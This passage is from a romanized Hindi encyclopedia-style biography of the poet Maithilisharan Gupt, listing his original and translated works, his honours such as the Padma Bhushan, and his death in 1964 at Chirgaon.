gupt ji ki 52 se bhi adhik kavy rachanaean prakashit ho chuki haian, jinamean se kuchh anoodit bhi haian. unhoanne 'madhup' upanam se 'virahani brajaangan', 'plasi ka yuddh' aur 'meghanad vadh' namak bangala kavy kritiyoan ka anuvad kiya hai tatha kuchh sanskrit natakoan ke anuvad bhi kiye. isi prakar 'rubaiyat umarakhayyam' bhi umar khayam ki rubaiyoan ka hindi roopantar hai. inaki ullekhaniy maulik rachanaoan ki talika mean- rang mean bhang, jayadrath vadh, pady prabandh, bharat bharati, shakuantala, tilottama, chandrahas, patravali, vaitalika, kisan, anagh, panchavati, svadesh sangit, hindoo, vipathaga, shakti vikatabhat, gurukul, jhankar, saket, yashodhara, siddharaj, dvapar, mangalaghat, nahush, kunalagit , kaba aur karbala, pradakshina, jayabharat, vishnupriya adi ate haian.

puraskar v samman

maithilisharan gupt hindi ke prasiddh rashtriy kavi kahe jate haian. san 1936 mean inhean kaki mean abhinandan granth bheant kiya gaya tha. inaki sahity sevaoan ke upalakshy mean agara vishvavidyalay tatha ilahabad vishvavidyalay ne inhean di. lit. ki upadhi se vibhooshit bhi kiya. 1952 mean gupt ji rajy sabha ke sadasy manonit hue aur 1954 mean unhean 'padmabhooshan' alankar se sammanit kiya gaya. isake atirikt unhean hindustani akadami puraskar, 'saket' par 'mangala prasad paritoshik' tatha 'sahity vachaspati' ki upadhi se bhi alankrit kiya gaya. 'hindi kavita' ke itihas mean gupt ji ka yah sabase b da yogadan hai. 'saket' unaki rachana ka sarvochch shikhar hai.

mrityu

maithilisharan gupt ji ka dehavasan 12 disanbar, 1964 ko chiragaanv mean hi hua. inake svargavas se hindi sahity ko jo kshati pahuanchi, usaki poorti sanbhav nahian hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• maithilisharan gupt - anubhooti
• maan kah ek kahani
• maithilisharan gupt aur bharat-bharati
• maithilisharan gupt ki kavita 'ary'